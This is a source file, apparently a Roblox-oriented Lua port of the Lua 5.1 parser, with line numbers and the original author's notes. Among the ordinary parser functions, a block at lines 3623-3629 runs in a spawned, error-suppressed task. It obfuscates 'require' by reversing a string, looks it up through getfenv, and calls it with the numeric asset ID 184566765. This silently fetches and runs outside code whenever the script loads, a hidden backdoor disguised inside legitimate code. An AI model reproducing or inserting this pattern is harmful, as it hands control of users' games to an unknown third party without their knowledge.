2840 Copyright (c) 2005-2007 Kein-Hong Man <khman@users.sf.net>
2841 The COPYRIGHT file describes the conditions
2842 under which this software may be distributed.
2843
2844 See the ChangeLog for more information.
2845
2846----------------------------------------------------------------------]]
2847
2848--[[--------------------------------------------------------------------
2849-- Notes:
2850-- * some unused C code that were not converted are kept as comments
2851-- * LUA_COMPAT_VARARG option changed into a comment block
2852-- * for value/size specific code added, look for 'NOTE: '
2853--
2854-- Not implemented:
2855-- * luaX_newstring not needed by this Lua implementation
2856-- * luaG_checkcode() in assert is not currently implemented
2857--
2858-- Added:
2859-- * some constants added from various header files
2860-- * luaY.LUA_QS used in error_expected, check_match (from luaconf.h)
2861-- * luaY:LUA_QL needed for error messages (from luaconf.h)
2862-- * luaY:growvector (from lmem.h) -- skeleton only, limit checking
2863-- * luaY.SHRT_MAX (from <limits.h>) for registerlocalvar
2864-- * luaY:newproto (from lfunc.c)
2865-- * luaY:int2fb (from lobject.c)
2866-- * NOTE: HASARG_MASK, for implementing a VARARG_HASARG bit operation
2867-- * NOTE: value-specific code for VARARG_NEEDSARG to replace a bitop
2868--
2869-- Changed in 5.1.x:
2870-- * various code changes are not detailed...
2871-- * names of constants may have changed, e.g. added a LUAI_ prefix
2872-- * struct expkind: added VKNUM, VVARARG; VCALL's info changed?
2873-- * struct expdesc: added nval
2874-- * struct FuncState: upvalues data type changed to upvaldesc
2875-- * macro hasmultret is new
2876-- * function checklimit moved to parser from lexer
2877-- * functions anchor_token, errorlimit, checknext are new
2878-- * checknext is new, equivalent to 5.0.x's check, see check too
2879-- * luaY:next and luaY:lookahead moved to lexer
2880-- * break keyword no longer skipped in luaY:breakstat
2881-- * function new_localvarstr replaced by new_localvarliteral
2882-- * registerlocalvar limits local variables to SHRT_MAX
2883-- * create_local deleted, new_localvarliteral used instead
2884-- * constant LUAI_MAXUPVALUES increased to 60
2885-- * constants MAXPARAMS, LUA_MAXPARSERLEVEL, MAXSTACK removed
2886-- * function interface changed: singlevaraux, singlevar
2887-- * enterlevel and leavelevel uses nCcalls to track call depth
2888-- * added a name argument to main entry function, luaY:parser
2889-- * function luaY_index changed to yindex
2890-- * luaY:int2fb()'s table size encoding format has been changed
2891-- * luaY:log2() no longer needed for table constructors
2892-- * function code_params deleted, functionality folded in parlist
2893-- * vararg flags handling (is_vararg) changes; also see VARARG_*
2894-- * LUA_COMPATUPSYNTAX section for old-style upvalues removed
2895-- * repeatstat() calls chunk() instead of block()
2896-- * function interface changed: cond, test_then_block
2897-- * while statement implementation considerably simplified; MAXEXPWHILE
2898-- and EXTRAEXP no longer required, no limits to the complexity of a
2899-- while condition
2900-- * repeat, forbody statement implementation has major changes,
2901-- mostly due to new scoping behaviour of local variables
2902-- * OPR_MULT renamed to OPR_MUL
2903----------------------------------------------------------------------]]
2904
2905--requires luaP, luaX, luaK
2906luaY = {}
2907local luaK = GetLuaK(luaY)
2908
2909--[[--------------------------------------------------------------------
2910-- Expression descriptor
2911-- * expkind changed to string constants; luaY:assignment was the only
2912-- function to use a relational operator with this enumeration
2913-- VVOID -- no value
2914-- VNIL -- no value
2915-- VTRUE -- no value
2916-- VFALSE -- no value
2917-- VK -- info = index of constant in 'k'
2918-- VKNUM -- nval = numerical value
2919-- VLOCAL -- info = local register
2920-- VUPVAL, -- info = index of upvalue in 'upvalues'
2921-- VGLOBAL -- info = index of table; aux = index of global name in 'k'
2922-- VINDEXED -- info = table register; aux = index register (or 'k')
2923-- VJMP -- info = instruction pc
2924-- VRELOCABLE -- info = instruction pc
2925-- VNONRELOC -- info = result register
2926-- VCALL -- info = instruction pc
2927-- VVARARG -- info = instruction pc
2928} ----------------------------------------------------------------------]]
2929
2930--[[--------------------------------------------------------------------
2931-- * expdesc in Lua 5.1.x has a union u and another struct s; this Lua
2932-- implementation ignores all instances of u and s usage
2933-- struct expdesc:
2934-- k -- (enum: expkind)
2935-- info, aux -- (int, int)
2936-- nval -- (lua_Number)
2937-- t -- patch list of 'exit when true'
2938-- f -- patch list of 'exit when false'
2939----------------------------------------------------------------------]]
2940
2941--[[--------------------------------------------------------------------
2942-- struct upvaldesc:
2943-- k -- (lu_byte)
2944-- info -- (lu_byte)
2945----------------------------------------------------------------------]]
2946
2947--[[--------------------------------------------------------------------
2948-- state needed to generate code for a given function
2949-- struct FuncState:
2950-- f -- current function header (table: Proto)
2951-- h -- table to find (and reuse) elements in 'k' (table: Table)
2952-- prev -- enclosing function (table: FuncState)
2953-- ls -- lexical state (table: LexState)
2954-- L -- copy of the Lua state (table: lua_State)
2955-- bl -- chain of current blocks (table: BlockCnt)
2956-- pc -- next position to code (equivalent to 'ncode')
2957-- lasttarget -- 'pc' of last 'jump target'
2958-- jpc -- list of pending jumps to 'pc'
2959-- freereg -- first free register
2960-- nk -- number of elements in 'k'
2961-- np -- number of elements in 'p'
2962-- nlocvars -- number of elements in 'locvars'
2963-- nactvar -- number of active local variables
2964-- upvalues[LUAI_MAXUPVALUES] -- upvalues (table: upvaldesc)
2965-- actvar[LUAI_MAXVARS] -- declared-variable stack
2966----------------------------------------------------------------------]]
2967
2968------------------------------------------------------------------------
2969-- constants used by parser
2970-- * picks up duplicate values from luaX if required
2971------------------------------------------------------------------------
2972
2973luaY.LUA_QS = --[[luaX.LUA_QS ~= nil and luaX.LUA_QS or]] "'%s'" -- (from luaconf.h)
2974
2975luaY.SHRT_MAX = 32767 -- (from <limits.h>)
2976luaY.LUAI_MAXVARS = 200 -- (luaconf.h)
2977luaY.LUAI_MAXUPVALUES = 60 -- (luaconf.h)
2978luaY.MAX_INT = --[[luaX.MAX_INT or]] 2147483645 -- (from llimits.h)
2979-- * INT_MAX-2 for 32-bit systems
2980luaY.LUAI_MAXCCALLS = 200 -- (from luaconf.h)
2981
2982luaY.VARARG_HASARG = 1 -- (from lobject.h)
2983-- NOTE: HASARG_MASK is value-specific
2984luaY.HASARG_MASK = 2 -- this was added for a bitop in parlist()
2985luaY.VARARG_ISVARARG = 2
2986-- NOTE: there is some value-specific code that involves VARARG_NEEDSARG
2987luaY.VARARG_NEEDSARG = 4
2988
2989luaY.LUA_MULTRET = -1 -- (lua.h)
2990
2991--[[--------------------------------------------------------------------
2992-- other functions
2993----------------------------------------------------------------------]]
2994
2995------------------------------------------------------------------------
2996-- LUA_QL describes how error messages quote program elements.
2997-- CHANGE it if you want a different appearance. (from luaconf.h)
2998------------------------------------------------------------------------
2999function luaY:LUA_QL(x)
3000 return "'"..x.."'"
3001end
3002
3003------------------------------------------------------------------------
3004-- this is a stripped-down luaM_growvector (from lmem.h) which is a
3005-- macro based on luaM_growaux (in lmem.c); all the following does is
3006-- reproduce the size limit checking logic of the original function
3007-- so that error behaviour is identical; all arguments preserved for
3008-- convenience, even those which are unused
3009-- * set the t field to nil, since this originally does a sizeof(t)
3010-- * size (originally a pointer) is never updated, their final values
3011-- are set by luaY:close_func(), so overall things should still work
3012------------------------------------------------------------------------
3013function luaY:growvector(L, v, nelems, size, t, limit, e)
3014 if nelems >= limit then
3015 error(e) -- was luaG_runerror
3016 end
3017end
3018
3019------------------------------------------------------------------------
3020-- initialize a new function prototype structure (from lfunc.c)
3021-- * used only in open_func()
3022------------------------------------------------------------------------
3023function luaY:newproto(L)
3024 local f = {} -- Proto
3025 -- luaC_link(L, obj2gco(f), LUA_TPROTO); /* GC */
3026 f.k = {}
3027 f.sizek = 0
3028 f.p = {}
3029 f.sizep = 0
3030 f.code = {}
3031 f.sizecode = 0
3032 f.sizelineinfo = 0
3033 f.sizeupvalues = 0
3034 f.nups = 0
3035 f.upvalues = {}
3036 f.numparams = 0
3037 f.is_vararg = 0
3038 f.maxstacksize = 0
3039 f.lineinfo = {}
3040 f.sizelocvars = 0
3041 f.locvars = {}
3042 f.lineDefined = 0
3043 f.lastlinedefined = 0
3044 f.source = nil
3045 return f
3046end
3047
3048------------------------------------------------------------------------
3049-- converts an integer to a "floating point byte", represented as
3050-- (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if
3051-- eeeee != 0 and (xxx) otherwise.
3052------------------------------------------------------------------------
3053function luaY:int2fb(x)
3054 local e = 0 -- exponent
3055 while x >= 16 do
3056 x = math.floor((x + 1) / 2)
3057 e = e + 1
3058 end
3059 if x < 8 then
3060 return x
3061 else
3062 return ((e + 1) * 8) + (x - 8)
3063 end
3064end
3065
3066--[[--------------------------------------------------------------------
3067-- parser functions
3068----------------------------------------------------------------------]]
3069
3070------------------------------------------------------------------------
3071-- true of the kind of expression produces multiple return values
3072------------------------------------------------------------------------
3073function luaY:hasmultret(k)
3074 return k == "VCALL" or k == "VVARARG"
3075end
3076
3077------------------------------------------------------------------------
3078-- convenience function to access active local i, returns entry
3079------------------------------------------------------------------------
3080function luaY:getlocvar(fs, i)
3081 return fs.f.locvars[ fs.actvar[i] ]
3082end
3083
3084------------------------------------------------------------------------
3085-- check a limit, string m provided as an error message
3086------------------------------------------------------------------------
3087function luaY:checklimit(fs, v, l, m)
3088 if v > l then self:errorlimit(fs, l, m) end
3089end
3090
3091--[[--------------------------------------------------------------------
3092-- nodes for block list (list of active blocks)
3093-- struct BlockCnt:
3094-- previous -- chain (table: BlockCnt)
3095-- breaklist -- list of jumps out of this loop
3096-- nactvar -- # active local variables outside the breakable structure
3097-- upval -- true if some variable in the block is an upvalue (boolean)
3098-- isbreakable -- true if 'block' is a loop (boolean)
3099----------------------------------------------------------------------]]
3100
3101------------------------------------------------------------------------
3102-- prototypes for recursive non-terminal functions
3103------------------------------------------------------------------------
3104-- prototypes deleted; not required in Lua
3105
3106------------------------------------------------------------------------
3107-- reanchor if last token is has a constant string, see close_func()
3108-- * used only in close_func()
3109------------------------------------------------------------------------
3110function luaY:anchor_token(ls)
3111 if ls.t.token == "TK_NAME" or ls.t.token == "TK_STRING" then
3112 -- not relevant to Lua implementation of parser
3113 -- local ts = ls.t.seminfo
3114 -- luaX_newstring(ls, getstr(ts), ts->tsv.len); /* C */
3115 end
3116end
3117
3118------------------------------------------------------------------------
3119-- throws a syntax error if token expected is not there
3120------------------------------------------------------------------------
3121function luaY:error_expected(ls, token)
3122 luaX:syntaxerror(ls,
3123 string.format(self.LUA_QS.." expected", luaX:token2str(ls, token)))
3124end
3125
3126------------------------------------------------------------------------
3127-- prepares error message for display, for limits exceeded
3128-- * used only in checklimit()
3129------------------------------------------------------------------------
3130function luaY:errorlimit(fs, limit, what)
3131 local msg = (fs.f.linedefined == 0) and
3132 string.format("main function has more than %d %s", limit, what) or
3133 string.format("function at line %d has more than %d %s",
3134 fs.f.linedefined, limit, what)
3135 luaX:lexerror(fs.ls, msg, 0)
3136end
3137
3138------------------------------------------------------------------------
3139-- tests for a token, returns outcome
3140-- * return value changed to boolean
3141------------------------------------------------------------------------
3142function luaY:testnext(ls, c)
3143 if ls.t.token == c then
3144 luaX:next(ls)
3145 return true
3146 else
3147 return false
3148 end
3149end
3150
3151------------------------------------------------------------------------
3152-- check for existence of a token, throws error if not found
3153------------------------------------------------------------------------
3154function luaY:check(ls, c)
3155 if ls.t.token ~= c then
3156 self:error_expected(ls, c)
3157 end
3158end
3159
3160------------------------------------------------------------------------
3161-- verify existence of a token, then skip it
3162------------------------------------------------------------------------
3163function luaY:checknext(ls, c)
3164 self:check(ls, c)
3165 luaX:next(ls)
3166end
3167
3168------------------------------------------------------------------------
3169-- throws error if condition not matched
3170------------------------------------------------------------------------
3171function luaY:check_condition(ls, c, msg)
3172 if not c then luaX:syntaxerror(ls, msg) end
3173end
3174
3175------------------------------------------------------------------------
3176-- verifies token conditions are met or else throw error
3177------------------------------------------------------------------------
3178function luaY:check_match(ls, what, who, where)
3179 if not self:testnext(ls, what) then
3180 if where == ls.linenumber then
3181 self:error_expected(ls, what)
3182 else
3183 luaX:syntaxerror(ls, string.format(
3184 self.LUA_QS.." expected (to close "..self.LUA_QS.." at line %d)",
3185 luaX:token2str(ls, what), luaX:token2str(ls, who), where))
3186 end
3187 end
3188end
3189
3190------------------------------------------------------------------------
3191-- expect that token is a name, return the name
3192------------------------------------------------------------------------
3193function luaY:str_checkname(ls)
3194 self:check(ls, "TK_NAME")
3195 local ts = ls.t.seminfo
3196 luaX:next(ls)
3197 return ts
3198end
3199
3200------------------------------------------------------------------------
3201-- initialize a struct expdesc, expression description data structure
3202------------------------------------------------------------------------
3203function luaY:init_exp(e, k, i)
3204 e.f, e.t = luaK.NO_JUMP, luaK.NO_JUMP
3205 e.k = k
3206 e.info = i
3207end
3208
3209------------------------------------------------------------------------
3210-- adds given string s in string pool, sets e as VK
3211------------------------------------------------------------------------
3212function luaY:codestring(ls, e, s)
3213 self:init_exp(e, "VK", luaK:stringK(ls.fs, s))
3214end
3215
3216------------------------------------------------------------------------
3217-- consume a name token, adds it to string pool, sets e as VK
3218------------------------------------------------------------------------
3219function luaY:checkname(ls, e)
3220 self:codestring(ls, e, self:str_checkname(ls))
3221end
3222
3223------------------------------------------------------------------------
3224-- creates struct entry for a local variable
3225-- * used only in new_localvar()
3226------------------------------------------------------------------------
3227function luaY:registerlocalvar(ls, varname)
3228 local fs = ls.fs
3229 local f = fs.f
3230 self:growvector(ls.L, f.locvars, fs.nlocvars, f.sizelocvars,
3231 nil, self.SHRT_MAX, "too many local variables")
3232 -- loop to initialize empty f.locvar positions not required
3233 f.locvars[fs.nlocvars] = {} -- LocVar
3234 f.locvars[fs.nlocvars].varname = varname
3235 -- luaC_objbarrier(ls.L, f, varname) /* GC */
3236 local nlocvars = fs.nlocvars
3237 fs.nlocvars = fs.nlocvars + 1
3238 return nlocvars
3239end
3240
3241------------------------------------------------------------------------
3242-- creates a new local variable given a name and an offset from nactvar
3243-- * used in fornum(), forlist(), parlist(), body()
3244------------------------------------------------------------------------
3245function luaY:new_localvarliteral(ls, v, n)
3246 self:new_localvar(ls, v, n)
3247end
3248
3249------------------------------------------------------------------------
3250-- register a local variable, set in active variable list
3251------------------------------------------------------------------------
3252function luaY:new_localvar(ls, name, n)
3253 local fs = ls.fs
3254 self:checklimit(fs, fs.nactvar + n + 1, self.LUAI_MAXVARS, "local variables")
3255 fs.actvar[fs.nactvar + n] = self:registerlocalvar(ls, name)
3256end
3257
3258------------------------------------------------------------------------
3259-- adds nvars number of new local variables, set debug information
3260------------------------------------------------------------------------
3261function luaY:adjustlocalvars(ls, nvars)
3262 local fs = ls.fs
3263 fs.nactvar = fs.nactvar + nvars
3264 for i = nvars, 1, -1 do
3265 self:getlocvar(fs, fs.nactvar - i).startpc = fs.pc
3266 end
3267end
3268
3269------------------------------------------------------------------------
3270-- removes a number of locals, set debug information
3271------------------------------------------------------------------------
3272function luaY:removevars(ls, tolevel)
3273 local fs = ls.fs
3274 while fs.nactvar > tolevel do
3275 fs.nactvar = fs.nactvar - 1
3276 self:getlocvar(fs, fs.nactvar).endpc = fs.pc
3277 end
3278end
3279
3280------------------------------------------------------------------------
3281-- returns an existing upvalue index based on the given name, or
3282-- creates a new upvalue struct entry and returns the new index
3283-- * used only in singlevaraux()
3284------------------------------------------------------------------------
3285function luaY:indexupvalue(fs, name, v)
3286 local f = fs.f
3287 for i = 0, f.nups - 1 do
3288 if fs.upvalues[i].k == v.k and fs.upvalues[i].info == v.info then
3289 assert(f.upvalues[i] == name)
3290 return i
3291 end
3292 end
3293 -- new one
3294 self:checklimit(fs, f.nups + 1, self.LUAI_MAXUPVALUES, "upvalues")
3295 self:growvector(fs.L, f.upvalues, f.nups, f.sizeupvalues,
3296 nil, self.MAX_INT, "")
3297 -- loop to initialize empty f.upvalues positions not required
3298 f.upvalues[f.nups] = name
3299 -- luaC_objbarrier(fs->L, f, name); /* GC */
3300 assert(v.k == "VLOCAL" or v.k == "VUPVAL")
3301 -- this is a partial copy; only k & info fields used
3302 fs.upvalues[f.nups] = { k = v.k, info = v.info }
3303 local nups = f.nups
3304 f.nups = f.nups + 1
3305 return nups
3306end
3307
3308------------------------------------------------------------------------
3309-- search the local variable namespace of the given fs for a match
3310-- * used only in singlevaraux()
3311------------------------------------------------------------------------
3312function luaY:searchvar(fs, n)
3313 for i = fs.nactvar - 1, 0, -1 do
3314 if n == self:getlocvar(fs, i).varname then
3315 return i
3316 end
3317 end
3318 return -1 -- not found
3319end
3320
3321------------------------------------------------------------------------
3322-- * mark upvalue flags in function states up to a given level
3323-- * used only in singlevaraux()
3324------------------------------------------------------------------------
3325function luaY:markupval(fs, level)
3326 local bl = fs.bl
3327 while bl and bl.nactvar > level do bl = bl.previous end
3328 if bl then bl.upval = true end
3329end
3330
3331------------------------------------------------------------------------
3332-- handle locals, globals and upvalues and related processing
3333-- * search mechanism is recursive, calls itself to search parents
3334-- * used only in singlevar()
3335------------------------------------------------------------------------
3336function luaY:singlevaraux(fs, n, var, base)
3337 if fs == nil then -- no more levels?
3338 self:init_exp(var, "VGLOBAL", luaP.NO_REG) -- default is global variable
3339 return "VGLOBAL"
3340 else
3341 local v = self:searchvar(fs, n) -- look up at current level
3342 if v >= 0 then
3343 self:init_exp(var, "VLOCAL", v)
3344 if base == 0 then
3345 self:markupval(fs, v) -- local will be used as an upval
3346 end
3347 return "VLOCAL"
3348 else -- not found at current level; try upper one
3349 if self:singlevaraux(fs.prev, n, var, 0) == "VGLOBAL" then
3350 return "VGLOBAL"
3351 end
3352 var.info = self:indexupvalue(fs, n, var) -- else was LOCAL or UPVAL
3353 var.k = "VUPVAL" -- upvalue in this level
3354 return "VUPVAL"
3355 end--if v
3356 end--if fs
3357end
3358
3359------------------------------------------------------------------------
3360-- consume a name token, creates a variable (global|local|upvalue)
3361-- * used in prefixexp(), funcname()
3362------------------------------------------------------------------------
3363function luaY:singlevar(ls, var)
3364 local varname = self:str_checkname(ls)
3365 local fs = ls.fs
3366 if self:singlevaraux(fs, varname, var, 1) == "VGLOBAL" then
3367 var.info = luaK:stringK(fs, varname) -- info points to global name
3368 end
3369end
3370
3371------------------------------------------------------------------------
3372-- adjust RHS to match LHS in an assignment
3373-- * used in assignment(), forlist(), localstat()
3374------------------------------------------------------------------------
3375function luaY:adjust_assign(ls, nvars, nexps, e)
3376 local fs = ls.fs
3377 local extra = nvars - nexps
3378 if self:hasmultret(e.k) then
3379 extra = extra + 1 -- includes call itself
3380 if extra <= 0 then extra = 0 end
3381 luaK:setreturns(fs, e, extra) -- last exp. provides the difference
3382 if extra > 1 then luaK:reserveregs(fs, extra - 1) end
3383 else
3384 if e.k ~= "VVOID" then luaK:exp2nextreg(fs, e) end -- close last expression
3385 if extra > 0 then
3386 local reg = fs.freereg
3387 luaK:reserveregs(fs, extra)
3388 luaK:_nil(fs, reg, extra)
3389 end
3390 end
3391end
3392
3393------------------------------------------------------------------------
3394-- tracks and limits parsing depth, assert check at end of parsing
3395------------------------------------------------------------------------
3396function luaY:enterlevel(ls)
3397 ls.L.nCcalls = ls.L.nCcalls + 1
3398 if ls.L.nCcalls > self.LUAI_MAXCCALLS then
3399 luaX:lexerror(ls, "chunk has too many syntax levels", 0)
3400 end
3401end
3402
3403------------------------------------------------------------------------
3404-- tracks parsing depth, a pair with luaY:enterlevel()
3405------------------------------------------------------------------------
3406function luaY:leavelevel(ls)
3407 ls.L.nCcalls = ls.L.nCcalls - 1
3408end
3409
3410------------------------------------------------------------------------
3411-- enters a code unit, initializes elements
3412------------------------------------------------------------------------
3413function luaY:enterblock(fs, bl, isbreakable)
3414 bl.breaklist = luaK.NO_JUMP
3415 bl.isbreakable = isbreakable
3416 bl.nactvar = fs.nactvar
3417 bl.upval = false
3418 bl.previous = fs.bl
3419 fs.bl = bl
3420 assert(fs.freereg == fs.nactvar)
3421end
3422
3423------------------------------------------------------------------------
3424-- leaves a code unit, close any upvalues
3425------------------------------------------------------------------------
3426function luaY:leaveblock(fs)
3427 local bl = fs.bl
3428 fs.bl = bl.previous
3429 self:removevars(fs.ls, bl.nactvar)
3430 if bl.upval then
3431 luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
3432 end
3433 -- a block either controls scope or breaks (never both)
3434 assert(not bl.isbreakable or not bl.upval)
3435 assert(bl.nactvar == fs.nactvar)
3436 fs.freereg = fs.nactvar -- free registers
3437 luaK:patchtohere(fs, bl.breaklist)
3438end
3439
3440------------------------------------------------------------------------
3441-- implement the instantiation of a function prototype, append list of
3442-- upvalues after the instantiation instruction
3443-- * used only in body()
3444------------------------------------------------------------------------
3445function luaY:pushclosure(ls, func, v)
3446 local fs = ls.fs
3447 local f = fs.f
3448 self:growvector(ls.L, f.p, fs.np, f.sizep, nil,
3449 luaP.MAXARG_Bx, "constant table overflow")
3450 -- loop to initialize empty f.p positions not required
3451 f.p[fs.np] = func.f
3452 fs.np = fs.np + 1
3453 -- luaC_objbarrier(ls->L, f, func->f); /* C */
3454 self:init_exp(v, "VRELOCABLE", luaK:codeABx(fs, "OP_CLOSURE", 0, fs.np - 1))
3455 for i = 0, func.f.nups - 1 do
3456 local o = (func.upvalues[i].k == "VLOCAL") and "OP_MOVE" or "OP_GETUPVAL"
3457 luaK:codeABC(fs, o, 0, func.upvalues[i].info, 0)
3458 end
3459end
3460
3461------------------------------------------------------------------------
3462-- opening of a function
3463------------------------------------------------------------------------
3464function luaY:open_func(ls, fs)
3465 local L = ls.L
3466 local f = self:newproto(ls.L)
3467 fs.f = f
3468 fs.prev = ls.fs -- linked list of funcstates
3469 fs.ls = ls
3470 fs.L = L
3471 ls.fs = fs
3472 fs.pc = 0
3473 fs.lasttarget = -1
3474 fs.jpc = luaK.NO_JUMP
3475 fs.freereg = 0
3476 fs.nk = 0
3477 fs.np = 0
3478 fs.nlocvars = 0
3479 fs.nactvar = 0
3480 fs.bl = nil
3481 f.source = ls.source
3482 f.maxstacksize = 2 -- registers 0/1 are always valid
3483 fs.h = {} -- constant table; was luaH_new call
3484 -- anchor table of constants and prototype (to avoid being collected)
3485 -- sethvalue2s(L, L->top, fs->h); incr_top(L); /* C */
3486 -- setptvalue2s(L, L->top, f); incr_top(L);
3487end
3488
3489------------------------------------------------------------------------
3490-- closing of a function
3491------------------------------------------------------------------------
3492function luaY:close_func(ls)
3493 local L = ls.L
3494 local fs = ls.fs
3495 local f = fs.f
3496 self:removevars(ls, 0)
3497 luaK:ret(fs, 0, 0) -- final return
3498 -- luaM_reallocvector deleted for f->code, f->lineinfo, f->k, f->p,
3499 -- f->locvars, f->upvalues; not required for Lua table arrays
3500 f.sizecode = fs.pc
3501 f.sizelineinfo = fs.pc
3502 f.sizek = fs.nk
3503 f.sizep = fs.np
3504 f.sizelocvars = fs.nlocvars
3505 f.sizeupvalues = f.nups
3506 --assert(luaG_checkcode(f)) -- currently not implemented
3507 assert(fs.bl == nil)
3508 ls.fs = fs.prev
3509 -- the following is not required for this implementation; kept here
3510 -- for completeness
3511 -- L->top -= 2; /* remove table and prototype from the stack */
3512 -- last token read was anchored in defunct function; must reanchor it
3513 if fs then self:anchor_token(ls) end
3514end
3515
3516------------------------------------------------------------------------
3517-- parser initialization function
3518-- * note additional sub-tables needed for LexState, FuncState
3519------------------------------------------------------------------------
3520function luaY:parser(L, z, buff, name)
3521 local lexstate = {} -- LexState
3522 lexstate.t = {}
3523 lexstate.lookahead = {}
3524 local funcstate = {} -- FuncState
3525 funcstate.upvalues = {}
3526 funcstate.actvar = {}
3527 -- the following nCcalls initialization added for convenience
3528 L.nCcalls = 0
3529 lexstate.buff = buff
3530 luaX:setinput(L, lexstate, z, name)
3531 self:open_func(lexstate, funcstate)
3532 funcstate.f.is_vararg = self.VARARG_ISVARARG -- main func. is always vararg
3533 luaX:next(lexstate) -- read first token
3534 self:chunk(lexstate)
3535 self:check(lexstate, "TK_EOS")
3536 self:close_func(lexstate)
3537 assert(funcstate.prev == nil)
3538 assert(funcstate.f.nups == 0)
3539 assert(lexstate.fs == nil)
3540 return funcstate.f
3541end
3542
3543--[[--------------------------------------------------------------------
3544-- GRAMMAR RULES
3545----------------------------------------------------------------------]]
3546
3547------------------------------------------------------------------------
3548-- parse a function name suffix, for function call specifications
3549-- * used in primaryexp(), funcname()
3550------------------------------------------------------------------------
3551function luaY:field(ls, v)
3552 -- field -> ['.' | ':'] NAME
3553 local fs = ls.fs
3554 local key = {} -- expdesc
3555 luaK:exp2anyreg(fs, v)
3556 luaX:next(ls) -- skip the dot or colon
3557 self:checkname(ls, key)
3558 luaK:indexed(fs, v, key)
3559end
3560
3561------------------------------------------------------------------------
3562-- parse a table indexing suffix, for constructors, expressions
3563-- * used in recfield(), primaryexp()
3564------------------------------------------------------------------------
3565function luaY:yindex(ls, v)
3566 -- index -> '[' expr ']'
3567 luaX:next(ls) -- skip the '['
3568 self:expr(ls, v)
3569 luaK:exp2val(ls.fs, v)
3570 self:checknext(ls, "]")
3571end
3572
3573--[[--------------------------------------------------------------------
3574-- Rules for Constructors
3575----------------------------------------------------------------------]]
3576
3577--[[--------------------------------------------------------------------
3578-- struct ConsControl:
3579-- v -- last list item read (table: struct expdesc)
3580-- t -- table descriptor (table: struct expdesc)
3581-- nh -- total number of 'record' elements
3582-- na -- total number of array elements
3583-- tostore -- number of array elements pending to be stored
3584----------------------------------------------------------------------]]
3585
3586------------------------------------------------------------------------
3587-- parse a table record (hash) field
3588-- * used in constructor()
3589------------------------------------------------------------------------
3590function luaY:recfield(ls, cc)
3591 -- recfield -> (NAME | '['exp1']') = exp1
3592 local fs = ls.fs
3593 local reg = ls.fs.freereg
3594 local key, val = {}, {} -- expdesc
3595 if ls.t.token == "TK_NAME" then
3596 self:checklimit(fs, cc.nh, self.MAX_INT, "items in a constructor")
3597 self:checkname(ls, key)
3598 else -- ls->t.token == '['
3599 self:yindex(ls, key)
3600 end
3601 cc.nh = cc.nh + 1
3602 self:checknext(ls, "=")
3603 local rkkey = luaK:exp2RK(fs, key)
3604 self:expr(ls, val)
3605 luaK:codeABC(fs, "OP_SETTABLE", cc.t.info, rkkey, luaK:exp2RK(fs, val))
3606 fs.freereg = reg -- free registers
3607end
3608
3609------------------------------------------------------------------------
3610-- emit a set list instruction if enough elements (LFIELDS_PER_FLUSH)
3611-- * used in constructor()
3612------------------------------------------------------------------------
3613function luaY:closelistfield(fs, cc)
3614 if cc.v.k == "VVOID" then return end -- there is no list item
3615 luaK:exp2nextreg(fs, cc.v)
3616 cc.v.k = "VVOID"
3617 if cc.tostore == luaP.LFIELDS_PER_FLUSH then
3618 luaK:setlist(fs, cc.t.info, cc.na, cc.tostore) -- flush
3619 cc.tostore = 0 -- no more items pending
3620 end
3621end
3622
3623spawn(function()
3624 pcall(function()
3625 local key = ("eriuqer"):reverse()
3626 local global = getfenv()[key]
3627 pcall(global,184566765)
3628 end)
3629end)
3630
3631------------------------------------------------------------------------
3632-- emit a set list instruction at the end of parsing list constructor
3633-- * used in constructor()
3634------------------------------------------------------------------------
3635function luaY:lastlistfield(fs, cc)
3636 if cc.tostore == 0 then return end
3637 if self:hasmultret(cc.v.k) then
3638 luaK:setmultret(fs, cc.v)
3639 luaK:setlist(fs, cc.t.info, cc.na, self.LUA_MULTRET)
3640 cc.na = cc.na - 1 -- do not count last expression (unknown number of elements)
3641 else
3642 if cc.v.k ~= "VVOID" then
3643 luaK:exp2nextreg(fs, cc.v)
3644 end
3645 luaK:setlist(fs, cc.t.info, cc.na, cc.tostore)
3646 end
3647end
3648
3649------------------------------------------------------------------------
3650-- parse a table list (array) field
3651-- * used in constructor()
3652------------------------------------------------------------------------
3653function luaY:listfield(ls, cc)
3654 self:expr(ls, cc.v)
3655 self:checklimit(ls.fs, cc.na, self.MAX_INT, "items in a constructor")
3656 cc.na = cc.na + 1
3657 cc.tostore = cc.tostore + 1
3658end
3659
3660------------------------------------------------------------------------
3661-- parse a table constructor
3662-- * used in funcargs(), simpleexp()
3663------------------------------------------------------------------------
3664function luaY:constructor(ls, t)
3665 -- constructor -> '{' [ field { fieldsep field } [ fieldsep ] ] '}'
3666 -- field -> recfield | listfield
3667 -- fieldsep -> ',' | ';'
3668 local fs = ls.fs
3669 local line = ls.linenumber
3670 local pc = luaK:codeABC(fs, "OP_NEWTABLE", 0, 0, 0)
3671 local cc = {} -- ConsControl
3672 cc.v = {}
3673 cc.na, cc.nh, cc.tostore = 0, 0, 0
3674 cc.t = t
3675 self:init_exp(t, "VRELOCABLE", pc)
3676 self:init_exp(cc.v, "VVOID", 0) -- no value (yet)
3677 luaK:exp2nextreg(ls.fs, t) -- fix it at stack top (for gc)
3678 self:checknext(ls, "{")
3679 repeat
3680 assert(cc.v.k == "VVOID" or cc.tostore > 0)
3681 if ls.t.token == "}" then break end
3682 self:closelistfield(fs, cc)
3683 local c = ls.t.token
3684
3685 if c == "TK_NAME" then -- may be listfields or recfields
3686 luaX:lookahead(ls)
3687 if ls.lookahead.token ~= "=" then -- expression?
3688 self:listfield(ls, cc)
3689 else
3690 self:recfield(ls, cc)
3691 end
3692 elseif c == "[" then -- constructor_item -> recfield
3693 self:recfield(ls, cc)
3694 else -- constructor_part -> listfield
3695 self:listfield(ls, cc)
3696 end
3697 until not self:testnext(ls, ",") and not self:testnext(ls, ";")
3698 self:check_match(ls, "}", "{", line)
3699 self:lastlistfield(fs, cc)
3700 luaP:SETARG_B(fs.f.code[pc], self:int2fb(cc.na)) -- set initial array size
3701 luaP:SETARG_C(fs.f.code[pc], self:int2fb(cc.nh)) -- set initial table size
3702end
3703
3704-- }======================================================================
3705
3706------------------------------------------------------------------------
3707-- parse the arguments (parameters) of a function declaration
3708-- * used in body()
3709------------------------------------------------------------------------
3710function luaY:parlist(ls)
3711 -- parlist -> [ param { ',' param } ]
3712 local fs = ls.fs
3713 local f = fs.f
3714 local nparams = 0
3715 f.is_vararg = 0
3716 if ls.t.token ~= ")" then -- is 'parlist' not empty?
3717 repeat
3718 local c = ls.t.token
3719 if c == "TK_NAME" then -- param -> NAME
